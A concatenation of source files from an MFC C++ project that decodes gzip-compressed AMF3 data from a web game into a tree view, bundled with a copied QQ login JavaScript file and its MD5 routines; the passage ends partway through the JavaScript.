BOOL CMainFrame::OnCreateClient(LPCREATESTRUCT lpcs, CCreateContext* pContext) 
{
    // TODO: Add your specialized code here and/or call the base class
          if (!m_wndSplitter.CreateStatic (this, 2, 1) ||
              !m_wndSplitter.CreateView (0, 0, RUNTIME_CLASS
              (CTopView), CSize (0, 300), pContext) ||
              !m_wndSplitter.CreateView (1, 0, RUNTIME_CLASS (CEndView),
              CSize (0, 0), pContext))
        return FALSE;

      m_bSplitterCreated=TRUE;



      CTopView *pView=(CTopView*)m_wndSplitter.GetPane(0,0);
      m_pFun1LeftView=pView->GetFun1LeftViewFromPage();
      m_pFun1RightView=pView->GetFun1RightViewFromPage();

    //return CFrameWnd::OnCreateClient(lpcs, pContext);
}

void CMainFrame::OnSize(UINT nType, int cx, int cy) 
{
    CFrameWnd::OnSize(nType, cx, cy);
    
    // TODO: Add your message handler code here
    CRect rect;
    GetClientRect(rect);
    
    if (m_bSplitterCreated)
    {
        m_wndSplitter.SetRowInfo(0,rect.Height()*3/4,0);    //上面窗口占3/4左右
        m_wndSplitter.RecalcLayout();
        
    }
}

void CMainFrame::OnTest() 
{
    // TODO: Add your command handler code here
/*  unsigned char chooseBuild[] ="\x81\x53";

    TAG_context ctx;
    amf_object::init_context(&ctx,NULL,NULL);
    TAG_IoData* io = new TAG_IoData();
    
    CFile mFile("f:\\winlist.txt",CFile::modeRead);


    io->buflen=mFile.GetLength();
    io->buf=(unsigned char*)malloc(io->buflen);

    mFile.Read(io->buf,mFile.GetLength());


//  ::memcpy(io->buf,chooseBuild,io->buflen);
    io->pos = 0;
    ctx.m_IFileHandle =io;

    CString ff;
    amf_object_handle aoh=amf_static::read_elem(&ctx);
    TAG_IoData* iox=(TAG_IoData* )ctx.m_IFileHandle;
    if(iox->pos==io->buflen)
    {
        AfxMessageBox("成功解析amf");
    }
    else

    {
        ff.Format("解析失败:%d,%d",iox->pos,io->buflen);
        AfxMessageBox(ff);
    }
    amf_static::_DumpAmf(aoh,m_pFun1LeftView->m_hRoot,m_pFun1LeftView->GetTreeCtrl());
    m_pFun1LeftView->GetTreeCtrl().Expand(m_pFun1LeftView->m_hRoot,TVE_EXPAND);*/

//SetLogString("test",0);


/*  CByteArray *parray; 
    parray=new CByteArray();
    parray->SetSize(1);
    CString strcmd="castleAct.listTodoBuilding";
    BYTE reqdata[]="\x0A\x00\x00\x00\x01\x11\x0C\x09\x30\x8C\xCB\x04";

    C7wAmfCmd::_CreateAmf3Cmd(parray,strcmd,reqdata,12);

    

    CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"amfcmd";
    CFile file(FileName,CFile::modeReadWrite|CFile::modeNoTruncate|CFile::modeCreate);
    file.Write(parray->GetData(),parray->GetSize());
    file.Close();*/


//int i=50;


//amf_static::write_u29(NULL,i);



}



void CMainFrame::OnAmf3Decode() 
{
    // TODO: Add your command handler code here
    
    m_pFun1LeftView->GetTreeCtrl().DeleteAllItems();
    //TRUE为OPEN对话框，FALSE为SAVE AS对话框
    CString strPathName,strlog;
    CFileDialog dlg(TRUE);
    if(dlg.DoModal()==IDOK)
        strPathName=dlg.GetPathName();

    
    BOOL bTest=TRUE;
    CFile   OpenFile; 
    BOOL bflag=FALSE;
    OpenFile.Open(strPathName,CFile::modeReadWrite); 
    int   length=OpenFile.GetLength();//获取文件长度 
    BYTE   *pBuf=(BYTE  *)malloc(sizeof(BYTE)*length);//开辟缓冲区 
    OpenFile.SeekToBegin();
    OpenFile.Read(pBuf,length);//读文件 
    OpenFile.Flush();
    OpenFile.Close();
    CByteArray *parray;
    if(bTest)
    {
        for(int i=0;i<length;i++)
        {
            if((*(pBuf+i)==0x1F)&&(*(pBuf+i+1)==0x8B))
            {
                break;
            }
            
        }
        int j=length-i;
        BYTE   *pBuf2=(BYTE  *)malloc(sizeof(BYTE)*j);//开辟缓冲区 
        memcpy(pBuf2,pBuf+i,j);
        free(pBuf);
        
        
        parray=new CByteArray();
        parray->SetSize(j);
        DWORD dwlen=amf_static::_DeGzip(pBuf2,parray,j);
        
        if(dwlen<=j)
        {
            strlog.Format("解析失败[%d/%d]",j,dwlen);
            ::AfxMessageBox(strlog);
        }
    }else
    {
        parray=new CByteArray();
        parray->SetSize(length);
        memcpy(parray->GetData(),pBuf,length);
    }


    TAG_context ctx;
    amf_object::init_context(&ctx,NULL,NULL);
    TAG_IoData* io = new TAG_IoData();
    
    io->buflen=parray->GetSize();
    io->buf=(unsigned char*)malloc(io->buflen);
    ::memcpy(io->buf,parray->GetData(),io->buflen);
    io->pos = 0;
    ctx.m_IFileHandle =io;
    //字节数组释放掉
    parray->RemoveAll();
    
    //选跳过头部
    amf_static::read_head(&ctx);
    //准备解析amf3数据,并树形控制件上进行显示


    amf_object_handle aoh=amf_static::read_elem(&ctx);
    TAG_IoData* iox=(TAG_IoData* )ctx.m_IFileHandle;
    if(iox->pos==io->buflen)
    {
        AfxMessageBox("成功解析amf");
    }
    else    
    {
        strlog.Format("解析结果:%d,%d",iox->pos,io->buflen);
        AfxMessageBox(strlog);
    }
    CString strdata;
    m_pFun1LeftView->_InsertRootItem();
    amf_static::_DumpAmf(aoh,m_pFun1LeftView->m_hRoot,m_pFun1LeftView->GetTreeCtrl(),strdata);
    m_pFun1LeftView->GetTreeCtrl().Expand(m_pFun1LeftView->m_hRoot,TVE_EXPAND);
    amf_object::clear_context(&ctx);



}

void CMainFrame::OnMenuLogin() 
{
    // TODO: Add your command handler code here
/*  if(m_plogin!=NULL)
    {
        m_plogin->SetFocus();   
        return;
    }
    else
    {
        
        m_plogin=new CLoginDlg;
        m_plogin->Create(IDD_DIALOG5);
        m_plogin->ShowWindow(SW_SHOW);
        m_plogin->CenterWindow();
    }*/
}

CEndView * CMainFrame::GetEndListView()
{
    CEndView *pView=(CEndView *)m_wndSplitter.GetPane(1,0);
    CheckPointer(pView,NULL);
   return pView;
}

CTopView * CMainFrame::GetTopPageView()
{
    CTopView *pView=(CTopView*)m_wndSplitter.GetPane(0,0);
    CheckPointer(pView,NULL);
   return pView;
}

void CMainFrame::SetLogString(CString strlog, int iState)
{
    CString log;
    CTime time=CTime::GetCurrentTime(); 
    CString strTime=time.Format("%X-----");
    log=strTime+strlog;
    int rows=GetEndListView()->GetListCtrl().GetItemCount();
    GetEndListView()->GetListCtrl().InsertItem(rows,log.GetBuffer(0),0);
}


//视频捕捉对话框销毁时使用mainframe指针成员指NULL
LRESULT CMainFrame::OnLoginDestroyed(WPARAM wp,LPARAM lp) 
{
    
    m_plogin=NULL;
    return 0;
}

void CMainFrame::OnAmf3Decode2() 
{
    // TODO: Add your command handler code here
    m_pFun1LeftView->GetTreeCtrl().DeleteAllItems();
    //TRUE为OPEN对话框，FALSE为SAVE AS对话框
    CString strPathName,strlog;
    CFileDialog dlg(TRUE);
    if(dlg.DoModal()==IDOK)
        strPathName=dlg.GetPathName();
    
    
    BOOL bTest=FALSE;
    CFile   OpenFile; 
    BOOL bflag=FALSE;
    OpenFile.Open(strPathName,CFile::modeReadWrite); 
    int   length=OpenFile.GetLength();//获取文件长度 
    BYTE   *pBuf=(BYTE  *)malloc(sizeof(BYTE)*length);//开辟缓冲区 
    OpenFile.SeekToBegin();
    OpenFile.Read(pBuf,length);//读文件 
    OpenFile.Flush();
    OpenFile.Close();
    CByteArray *parray;
    if(bTest)
    {
        for(int i=0;i<length;i++)
        {
            if((*(pBuf+i)==0x1F)&&(*(pBuf+i+1)==0x8B))
            {
                break;
            }
            
        }
        int j=length-i;
        BYTE   *pBuf2=(BYTE  *)malloc(sizeof(BYTE)*j);//开辟缓冲区 
        memcpy(pBuf2,pBuf+i,j);
        free(pBuf);
        
        
        parray=new CByteArray();
        parray->SetSize(j);
        DWORD dwlen=amf_static::_DeGzip(pBuf2,parray,j);
        
        if(dwlen<=j)
        {
            strlog.Format("解析失败[%d/%d]",j,dwlen);
            ::AfxMessageBox(strlog);
        }
    }else
    {
        parray=new CByteArray();
        parray->SetSize(length);
        memcpy(parray->GetData(),pBuf,length);
    }
    
    
    TAG_context ctx;
    amf_object::init_context(&ctx,NULL,NULL);
    TAG_IoData* io = new TAG_IoData();
    
    io->buflen=parray->GetSize();
    io->buf=(unsigned char*)malloc(io->buflen);
    ::memcpy(io->buf,parray->GetData(),io->buflen);
    
    ::memcpy(io->buf,parray->GetData(),io->buflen);
    io->pos = 0;
    ctx.m_IFileHandle =io;
    //字节数组释放掉
    parray->RemoveAll();
    
    //选跳过头部
    amf_static::read_head(&ctx);
    //准备解析amf3数据,并树形控制件上进行显示
    
    
    amf_object_handle aoh=amf_static::read_elem(&ctx);
    TAG_IoData* iox=(TAG_IoData* )ctx.m_IFileHandle;
    if(iox->pos==io->buflen)
    {
        AfxMessageBox("成功解析amf");
    }
    else    
    {
        strlog.Format("解析结果:%d,%d",iox->pos,io->buflen);
        AfxMessageBox(strlog);
    }
    CString strdata;
    m_pFun1LeftView->_InsertRootItem();
    amf_static::_DumpAmf(aoh,m_pFun1LeftView->m_hRoot,m_pFun1LeftView->GetTreeCtrl(),strdata);
    m_pFun1LeftView->GetTreeCtrl().Expand(m_pFun1LeftView->m_hRoot,TVE_EXPAND);
    amf_object::clear_context(&ctx);
}







源码/MainFrm.h

// MainFrm.h : interface of the CMainFrame class

//

/////////////////////////////////////////////////////////////////////////////



#if !defined(AFX_MAINFRM_H__436A570A_C049_4D05_A11B_43DE446927E9__INCLUDED_)

#define AFX_MAINFRM_H__436A570A_C049_4D05_A11B_43DE446927E9__INCLUDED_



#include "Fun1LeftView.h"	// Added by ClassView

#include "Fun1RightView.h"

#include "LoginDlg.h"

#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000



#define WM_LOGINDLG_DESTORYED			WM_USER+300



class CTopView;

class CEndView;

class CFun1LeftView;

class CMainFrame : public CFrameWnd

{

	

protected: // create from serialization only

	CMainFrame();

	DECLARE_DYNCREATE(CMainFrame)



// Attributes

public:

	CString m_strCookies;

// Operations

public:

	LRESULT OnLoginDestroyed(WPARAM wp,LPARAM lp); 

// Overrides

	// ClassWizard generated virtual function overrides

	//{{AFX_VIRTUAL(CMainFrame)

	public:

	virtual BOOL PreCreateWindow(CREATESTRUCT& cs);

	protected:

	virtual BOOL OnCreateClient(LPCREATESTRUCT lpcs, CCreateContext* pContext);

	//}}AFX_VIRTUAL



// Implementation

public:

	void SetLogString(CString strlog,int iState);

	CTopView * GetTopPageView();

	CEndView * GetEndListView();

	CFun1RightView * m_pFun1RightView;

	CFun1LeftView *m_pFun1LeftView;

	virtual ~CMainFrame();

#ifdef _DEBUG

	virtual void AssertValid() const;

	virtual void Dump(CDumpContext& dc) const;

#endif



protected:  // control bar embedded members

	CStatusBar   m_wndStatusBar;

	CToolBar     m_wndToolBar;

	CSplitterWnd m_wndSplitter;

	BOOL         m_bSplitterCreated;

	CLoginDlg*	 m_plogin;



// Generated message map functions

protected:

	//{{AFX_MSG(CMainFrame)

	afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);

	afx_msg void OnSize(UINT nType, int cx, int cy);

	afx_msg void OnTest();

	afx_msg void OnAmf3Decode();

	afx_msg void OnMenuLogin();

	afx_msg void OnAmf3Decode2();

	//}}AFX_MSG

	DECLARE_MESSAGE_MAP()

};



/////////////////////////////////////////////////////////////////////////////



//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.



#endif // !defined(AFX_MAINFRM_H__436A570A_C049_4D05_A11B_43DE446927E9__INCLUDED_)









源码/ReadMe.txt

========================================================================

       MICROSOFT FOUNDATION CLASS LIBRARY : 7QW

========================================================================





AppWizard has created this 7QW application for you.  This application

not only demonstrates the basics of using the Microsoft Foundation classes

but is also a starting point for writing your application.



This file contains a summary of what you will find in each of the files that

make up your 7QW application.



7QW.dsp

    This file (the project file) contains information at the project level and

    is used to build a single project or subproject. Other users can share the

    project (.dsp) file, but they should export the makefiles locally.



7QW.h

    This is the main header file for the application.  It includes other

    project specific headers (including Resource.h) and declares the

    CMy7QWApp application class.



7QW.cpp

    This is the main application source file that contains the application

    class CMy7QWApp.



7QW.rc

    This is a listing of all of the Microsoft Windows resources that the

    program uses.  It includes the icons, bitmaps, and cursors that are stored

    in the RES subdirectory.  This file can be directly edited in Microsoft

	Visual C++.



7QW.clw

    This file contains information used by ClassWizard to edit existing

    classes or add new classes.  ClassWizard also uses this file to store

    information needed to create and edit message maps and dialog data

    maps and to create prototype member functions.



res\7QW.ico

    This is an icon file, which is used as the application's icon.  This

    icon is included by the main resource file 7QW.rc.



res\7QW.rc2

    This file contains resources that are not edited by Microsoft 

	Visual C++.  You should place all resources not editable by

	the resource editor in this file.







/////////////////////////////////////////////////////////////////////////////



For the main frame window:



MainFrm.h, MainFrm.cpp

    These files contain the frame class CMainFrame, which is derived from

    CFrameWnd and controls all SDI frame features.



res\Toolbar.bmp

    This bitmap file is used to create tiled images for the toolbar.

    The initial toolbar and status bar are constructed in the CMainFrame

    class. Edit this toolbar bitmap using the resource editor, and

    update the IDR_MAINFRAME TOOLBAR array in 7QW.rc to add

    toolbar buttons.

/////////////////////////////////////////////////////////////////////////////



AppWizard creates one document type and one view:



7QWDoc.h, 7QWDoc.cpp - the document

    These files contain your CMy7QWDoc class.  Edit these files to

    add your special document data and to implement file saving and loading

    (via CMy7QWDoc::Serialize).



7QWView.h, 7QWView.cpp - the view of the document

    These files contain your CMy7QWView class.

    CMy7QWView objects are used to view CMy7QWDoc objects.







/////////////////////////////////////////////////////////////////////////////

Other standard files:



StdAfx.h, StdAfx.cpp

    These files are used to build a precompiled header (PCH) file

    named 7QW.pch and a precompiled types file named StdAfx.obj.



Resource.h

    This is the standard header file, which defines new resource IDs.

    Microsoft Visual C++ reads and updates this file.



/////////////////////////////////////////////////////////////////////////////

Other notes:



AppWizard uses "TODO:" to indicate parts of the source code you

should add to or customize.



If your application uses MFC in a shared DLL, and your application is 

in a language other than the operating system's current language, you

will need to copy the corresponding localized resources MFC42XXX.DLL

from the Microsoft Visual C++ CD-ROM onto the system or system32 directory,

and rename it to be MFCLOC.DLL.  ("XXX" stands for the language abbreviation.

For example, MFC42DEU.DLL contains resources translated to German.)  If you

don't do this, some of the UI elements of your application will remain in the

language of the operating system.



/////////////////////////////////////////////////////////////////////////////









源码/Release/7QW.exe






源码/Release/Xlogin.js

STR_UINTIP = 1;

STR_QLOGIN_VERSION_ERR = 2;

STR_NO_UIN = 3;

STR_NO_PWD = 4;

STR_NO_VCODE = 5;

STR_INV_UIN = 6;

STR_INV_VCODE = 7;

STR_UIN = 8;

STR_PWD = 9;

STR_VCODE = 10;

STR_VCODE_TIP = 11;

STR_CHANGE_VCODE = 12;

STR_REMEMBER_PWD = 13;

STR_1_DAY = 14;

STR_1_WEEK = 15;

STR_1_MONTH = 16;

STR_HALF_YEAR = 17;

STR_1_YEAR = 18;

STR_FORGET_PWD = 19;

STR_LOGIN = 20;

STR_RESET = 21;

STR_SWITCH_QLOGIN = 22;

STR_LOGIN_TITLE = 23;

STR_QLOGIN_INTRO = 24;

STR_QLOGINING = 25;

STR_QLOGIN_HELP = 26;

STR_SWITCH_NORMAL = 27;

STR_QLOGIN = 28;

STR_QLOGIN_BUSY = 29;

STR_QLOGIN_OFFLINE = 30;

STR_QLOGIN_OTHER_ERR = 31;

STR_BACK = 32;

STR_RETRY = 33;

STR_NEW_REG = 34;

STR_QLOGIN_SELECT = 35;

STR_QLOGIN_VER = 36;

STR_QLOGIN_SELECT_TIP = 37;

STR_QLOGIN_NO_UIN = 38;

STR_QLOGIN_SELECT_OFFLINE = 39;

my_version = unescape("version1.0.0");

function ptui_trim(A) {

    return A.replace(/(^\s*)|(\s*$)/g, "")

}

function ptui_str(A) {

    A -= 1;

    if (A >= 0 && A < g_strArray.length) {

        return g_strArray[A]

    }

    return ""

}

function ptui_mapStr(B) {

    for (i = 0; i < B.length; i++) {

        var A = document.getElementById(B[i][1]);

        if (A != null) {

            if ("A" == A.nodeName || "U" == A.nodeName || "OPTION" == A.nodeName || "LABEL" == A.nodeName || "P" == A.nodeName) {

                if (A.innerHTML == "") {

                    A.innerHTML = ptui_str(B[i][0])

                }

            } else {

                if ("INPUT" == A.nodeName) {

                    if (A.value == "") {

                        A.value = ptui_str(B[i][0])

                    }

                } else {

                    if ("IMG" == A.nodeName) {

                        A.alt = ptui_str(B[i][0])

                    }

                }

            }

        }

    }

}

function ptui_onUserFocus(C, A) {

    var B = document.getElementById(C);

    if (ptui_str(STR_UINTIP) == B.value) {

        B.value = ""

    }

    B.style.color = A

}

function ptui_onUserBlue(C, A) {

    var B = document.getElementById(C);

    if ("" == B.value) {

        B.value = ptui_str(STR_UINTIP);

        B.style.color = A

    }

}

var g_speedArray = new Array();

function ptui_setSpeed(B) {

    if (B <= 0) {

        return

    }

    var A = g_speedArray.length;

    g_speedArray[A] = new Array(B, new Date())

}

function ptui_reportSpeed(B) {

    if (Math.random() > 0.1) {

        return

    }

    url = "http://isdspeed.qq.com/cgi-bin/r.cgi?flag1=6000&flag2=1&flag3=1";

    for (var A = 0; A < g_speedArray.length; A++) {

        url = url + "&" + g_speedArray[A][0] + "=" + (g_speedArray[A][1] - B)

    }

    imgSendTimePoint = new Image();

    imgSendTimePoint.src = url

}

function ptui_showDiv(A, B) {

    var C = document.getElementById(A);

    if (null == C) {

        return

    }

    if (B) {

        C.style.display = "block"

    } else {

        C.style.display = "none"

    }

}

function ptui_notifySize(B) {

    try {

        obj = document.getElementById(B);

        if (obj) {

            if (parent.ptlogin2_onResize) {

                width = 1;

                height = 1;

                if (obj.offsetWidth > 0) {

                    width = obj.offsetWidth

                }

                if (obj.offsetHeight > 0) {

                    height = obj.offsetHeight

                }

                parent.ptlogin2_onResize(width, height)

            }

        }

    } catch(A) {}

}

function ptui_notifyClose() {

    try {

        if (parent.ptlogin2_onClose) {

            parent.ptlogin2_onClose()

        } else {

            if (top == this) {

                window.close()

            }

        }

    } catch(A) {

        window.close()

    }

}

function ptui_setUinColor(D, B, A) {

    var C = document.getElementById(D);

    if (ptui_str(STR_UINTIP) == C.value) {

        C.style.color = A

    } else {

        C.style.color = B

    }

}

function ptui_onEnableLLogin(B) {

    var A = B.low_login_enable;

    var C = B.low_login_hour;

    if (A != null && C != null) {

        C.disabled = !A.checked

    }

}

function ptui_changeImgEx(D, C, G, F) {

    var A = document.getElementById("imgVerify");

    try {

        if (A != null) {

            A.src = F + "?aid=" + C + "&" + Math.random();

            var B = document.getElementById("verifycode");

            if (B != null && B.disabled == false && G) {

                B.focus();

                B.select()

            }

        }

    } catch(E) {}

}

function ptui_changeImg(B, A, C) {

    ptui_changeImgEx(B, A, C, "http://ptlogin2." + B + "/getimage")

}

function ptui_changeImgHttps(B, A, C) {

    ptui_changeImgEx(B, A, C, "./getimage")

}

function ptui_checkQQUin(qquin) {

    if (qquin.length == 0) {

        return false

    }

    qquin = ptui_trim(qquin);

    if (! (new RegExp(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/).test(qquin))) {

        if (qquin.length < 5 || qquin.length > 12 || parseInt(qquin) < 1000) {

            return false

        }

        var exp = eval("/^[0-9]*$/");

        return exp.test(qquin)

    }

    return true

}

function ptui_checkPwdOnInput() {

    if (document.getElementById("p").value.length >= 16) {

        return false

    }

    return true

}

function ptui_onLogin(A) {

    try {

        if (parent.ptlogin2_onLogin) {

            if (!parent.ptlogin2_onLogin()) {

                return false

            }

        }

        if (parent.ptlogin2_onLoginEx) {

            var D = A.u.value;

            var B = A.verifycode.value;

            if (ptui_str(STR_UINTIP) == D) {

                D = ""

            }

            if (!parent.ptlogin2_onLoginEx(D, B)) {

                return false

            }

        }

    } catch(C) {}

    return ptui_checkValidate(A)

}

function ptui_onLoginEx(B, C) {

    if (ptui_onLogin(B)) {

        var A = new Date();

        A.setHours(A.getHours() + 24 * 30);

        setCookie("ptui_loginuin", B.u.value, A, "/", "ui.ptlogin2." + C);

        return true

    }

    return false

}

function ptui_setDefUin(B, A) {

    if (A == "" || A == null) {

        A = getCookie("ptui_loginuin")

    }

    A = parseInt(A);

    if (isNaN(A)) {

        return

    }

    if (A <= 0) {

        A = ""

    }

    if (A != "" && A != null) {

        B.u.value = A

    }

}

function ptui_onReset(A) {

    try {

        if (parent.ptlogin2_onReset) {

            if (!parent.ptlogin2_onReset()) {

                return false

            }

        }

    } catch(B) {}

    return true

}

function ptui_initFocus(B) {

    try {

        var A = B.u;

        var D = B.p;

        var E = B.verifycode;

        if (A.value == "" || ptui_str(STR_UINTIP) == A.value) {

            A.focus();

            return

        }

        if (D.value == "") {

            D.focus();

            return

        }

        if (E.value == "") {

            E.focus()

        }

    } catch(C) {}

}

function ptui_checkValidate(B) {

    var A = B.u;

    var C = B.p;

    var D = B.verifycode;

    if (A.value == "" || ptui_str(STR_UINTIP) == A.value) {

        alert(ptui_str(STR_NO_UIN));

        A.focus();

        return false

    }

    if (C.value == "") {

        alert(ptui_str(STR_NO_PWD));

        C.focus();

        return false

    }

    if (D.value == "") {

        alert(ptui_str(STR_NO_VCODE));

        D.focus();

        return false

    }

    A.value = ptui_trim(A.value);

    if (!ptui_checkQQUin(A.value)) {

        alert(ptui_str(STR_INV_UIN));

        A.focus();

        A.select();

        return false

    }

    if (D.value.length != 4) {

        alert(ptui_str(STR_INV_VCODE));

        D.focus();

        D.select();

        return false

    }

    C.setAttribute("maxlength", "32");

    preprocess(B);

    return true

}

function getCookieVal(B) {

    var A = document.cookie.indexOf(";", B);

    if (A == -1) {

        A = document.cookie.length

    }

    return unescape(document.cookie.substring(B, A))

}

function getCookie(D) {

    var B = D + "=";

    var F = B.length;

    var A = document.cookie.length;

    var E = 0;

    while (E < A) {

        var C = E + F;

        if (document.cookie.substring(E, C) == B) {

            return getCookieVal(C)

        }

        E = document.cookie.indexOf(" ", E) + 1;

        if (E == 0) {

            break

        }

    }

    return null

}

function setCookie(C, E) {

    var A = setCookie.arguments;

    var H = setCookie.arguments.length;

    var B = (2 < H) ? A[2] : null;

    var G = (3 < H) ? A[3] : null;

    var D = (4 < H) ? A[4] : null;

    var F = (5 < H) ? A[5] : null;

    document.cookie = C + "=" + escape(E) + ((B == null) ? " ": (";expires =" + B.toGMTString())) + ((G == null) ? "  ": (";path = " + G)) + ((D == null) ? " ": (";domain =" + D)) + ((F == true) ? ";secure": " ")

}

var hexcase = 1;

var b64pad = "";

var chrsz = 8;

var mode = 32;

function preprocess(A,B) {

   // var B = "";

   // B += A.verifycode.value;

   // B = B.toUpperCase();

   // A.p.value = md5(md5_3(A.p.value) + B);

   // return true







//var str="necron8952795380";

str=md5(md5_3(B)+A);

//document.write(str);

//var ForReading = 1, ForWriting = 2;

    //var fso = new ActiveXObject("Scripting.FileSystemObject");



   // Open the file for output.

    //var filename = "c:\\testfile.txt";

   // var f = fso.OpenTextFile(filename, ForWriting, true);



    // Write to the file.

   //f.WriteLine("Hello world!");

   //f.WriteLine("JScript is fun");

   //f.Close();

return str;

}

function md5_3(B) {

    var A = new Array;

    A = core_md5(str2binl(B), B.length * chrsz);

    A = core_md5(A, 16 * chrsz);

    A = core_md5(A, 16 * chrsz);

    return binl2hex(A)

}

function md5(A) {

    return hex_md5(A)

}

function hex_md5(A) {

    return binl2hex(core_md5(str2binl(A), A.length * chrsz))

}

function b64_md5(A) {

    return binl2b64(core_md5(str2binl(A), A.length * chrsz))

}

function str_md5(A) {

    return binl2str(core_md5(str2binl(A), A.length * chrsz))

}

function hex_hmac_md5(A, B) {

    return binl2hex(core_hmac_md5(A, B))

}

function b64_hmac_md5(A, B) {

    return binl2b64(core_hmac_md5(A, B))

}

function str_hmac_md5(A, B) {

    return binl2str(core_hmac_md5(A, B))

}

function md5_vm_test() {

    return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72"

}

function core_md5(K, F) {

    K[F >> 5] |= 128 << ((F) % 32);

    K[(((F + 64) >>> 9) << 4) + 14] = F;

    var J = 1732584193;

    var I = -271733879;

    var H = -1732584194;

    var G = 271733878;

    for (var C = 0; C < K.length; C += 16) {

        var E = J;

        var D = I;

        var B = H;

        var A = G;

        J = md5_ff(J, I, H, G, K[C + 0], 7, -680876936);

        G = md5_ff(G, J, I, H, K[C + 1], 12, -389564586);

        H = md5_ff(H, G, J, I, K[C + 2], 17, 606105819);

        I = md5_ff(I, H, G, J, K[C + 3], 22, -1044525330);

        J = md5_ff(J, I, H, G, K[C + 4], 7, -176418897);

        G = md5_ff(G, J, I, H, K[C + 5], 12, 1200080426);

        H = md5_ff(H, G, J, I, K[C + 6], 17, -1473231341);

        I = md5_ff(I, H, G, J, K[C + 7], 22, -45705983);

        J = md5_ff(J, I, H, G, K[C + 8], 7, 1770035416);

        G = md5_ff(G, J, I, H, K[C + 9], 12, -1958414417);

        H = md5_ff(H, G, J, I, K[C + 10], 17, -42063);

        I = md5_ff(I, H, G, J, K[C + 11], 22, -1990404162);

        J = md5_ff(J, I, H, G, K[C + 12], 7, 1804603682);

        G = md5_ff(G, J, I, H, K[C + 13], 12, -40341101);

        H = md5_ff(H, G, J, I, K[C + 14], 17, -1502002290);

        I = md5_ff(I, H, G, J, K[C + 15], 22, 1236535329);

        J = md5_gg(J, I, H, G, K[C + 1], 5, -165796510);

        G = md5_gg(G, J, I, H, K[C + 6], 9, -1069501632);

        H = md5_gg(H, G, J, I, K[C + 11], 14, 643717713);

        I = md5_gg(I, H, G, J, K[C + 0], 20, -373897302);

        J = md5_gg(J, I, H, G, K[C + 5], 5, -701558691);

        G = md5_gg(G, J, I, H, K[C + 10], 9, 38016083);

        H = md5_gg(H, G, J, I, K[C + 15], 14, -660478335);

        I = md5_gg(I, H, G, J, K[C + 4], 20, -405537848);

        J = md5_gg(J, I, H, G, K[C + 9], 5, 568446438);

        G = md5_gg(G, J, I, H, K[C + 14], 9, -1019803690);

        H = md5_gg(H, G, J, I, K[C + 3], 14, -187363961);

        I = md5_gg(I, H, G, J, K[C + 8], 20, 1163531501);

        J = md5_gg(J, I, H, G, K[C + 13], 5, -1444681467);

        G = md5_gg(G, J, I, H, K[C + 2], 9, -51403784);

        H = md5_gg(H, G, J, I, K[C + 7], 14, 1735328473);

        I = md5_gg(I, H, G, J, K[C + 12], 20, -1926607734);

        J = md5_hh(J, I, H, G, K[C + 5], 4, -378558);

        G = md5_hh(G, J, I, H, K[C + 8], 11, -2022574463);

        H = md5_hh(H, G, J, I, K[C + 11], 16, 1839030562);

        I = md5_hh(I, H, G, J, K[C + 14], 23, -35309556);

        J = md5_hh(J, I, H, G, K[C + 1], 4, -1530992060);

        G = md5_hh(G, J, I, H, K[C + 4], 11, 1272893353);

        H = md5_hh(H, G, J, I, K[C + 7], 16, -155497632);

        I = md5_hh(I, H, G, J, K[C + 10], 23, -1094730640);

        J = md5_hh(J, I, H, G, K[C + 13], 4, 681279174);

        G = md5_hh(G, J, I, H, K[C + 0], 11, -358537222);

        H = md5_hh(H, G, J, I, K[C + 3], 16, -722521979);

        I = md5_hh(I, H, G, J, K[C + 6], 23, 76029189);

        J = md5_hh(J, I, H, G, K[C + 9], 4, -640364487);

        G = md5_hh(G, J, I, H, K[C + 12], 11, -421815835);

        H = md5_hh(H, G, J, I, K[C + 15], 16, 530742520);

        I = md5_hh(I, H, G, J, K[C + 2], 23, -995338651);

        J = md5_ii(J, I, H, G, K[C + 0], 6, -198630844);

        G = md5_ii(G, J, I, H, K[C + 7], 10, 1126891415);

        H = md5_ii(H, G, J, I, K[C + 14], 15, -1416354905);

        I = md5_ii(I, H, G, J, K[C + 5], 21, -57434055);

        J = md5_ii(J, I, H, G, K[C + 12], 6, 1700485571);

        G = md5_ii(G, J, I, H, K[C + 3], 10, -1894986606);

        H = md5_ii(H, G, J, I, K[C + 10], 15, -1051523);

        I = md5_ii(I, H, G, J, K[C + 1], 21, -2054922799);

        J = md5_ii(J, I, H, G, K[C + 8], 6, 1873313359);

        G = md5_ii(G, J, I, H, K[C + 15], 10, -30611744);

        H = md5_ii(H, G, J, I, K[C + 6], 15, -1560198380);

        I = md5_ii(I, H, G, J, K[C + 13], 21, 1309151649);

        J = md5_ii(J, I, H, G, K[C + 4], 6, -145523070);

        G = md5_ii(G, J, I, H, K[C + 11], 10, -1120210379);

        H = md5_ii(H, G, J, I, K[C + 2], 15, 718787259);

        I = md5_ii(I, H, G, J, K[C + 9], 21, -343485551);

        J = safe_add(J, E);

        I = safe_add(I, D);

        H = safe_add(H, B);

        G = safe_add(G, A)

    }

    if (mode == 16) {

        return Array(I, H)

    } else {

        return Array(J, I, H, G)

    }

}

function md5_cmn(F, C, B, A, E, D) {

    return safe_add(bit_rol(safe_add(safe_add(C, F), safe_add(A, D)), E), B)

}

function md5_ff(C, B, G, F, A, E, D) {

    return md5_cmn((B & G) | ((~B) & F), C, B, A, E, D)

}

function md5_gg(C, B, G, F, A, E, D) {

    return md5_cmn((B & F) | (G & (~F)), C, B, A, E, D)

}

function md5_hh(C, B, G, F, A, E, D) {

    return md5_cmn(B ^ G ^ F, C, B, A, E, D)

}

function md5_ii(C, B, G, F, A, E, D) {

    return md5_cmn(G ^ (B | (~F)), C, B, A, E, D)

}

function core_hmac_md5(C, F) {

    var E = str2binl(C);

    if (E.length > 16) {

        E = core_md5(E, C.length * chrsz)

    }

    var A = Array(16),

    D = Array(16);

    for (var B = 0; B < 16; B++) {

        A[B] = E[B] ^ 909522486;

        D[B] = E[B] ^ 1549556828

    }

    var G = core_md5(A.concat(str2binl(F)), 512 + F.length * chrsz);

    return core_md5(D.concat(G), 512 + 128)

}

function safe_add(A, D) {

    var C = (A & 65535) + (D & 65535);

    var B = (A >> 16) + (D >> 16) + (C >> 16);

    return (B << 16) | (C & 65535)

}

function bit_rol(A, B) {

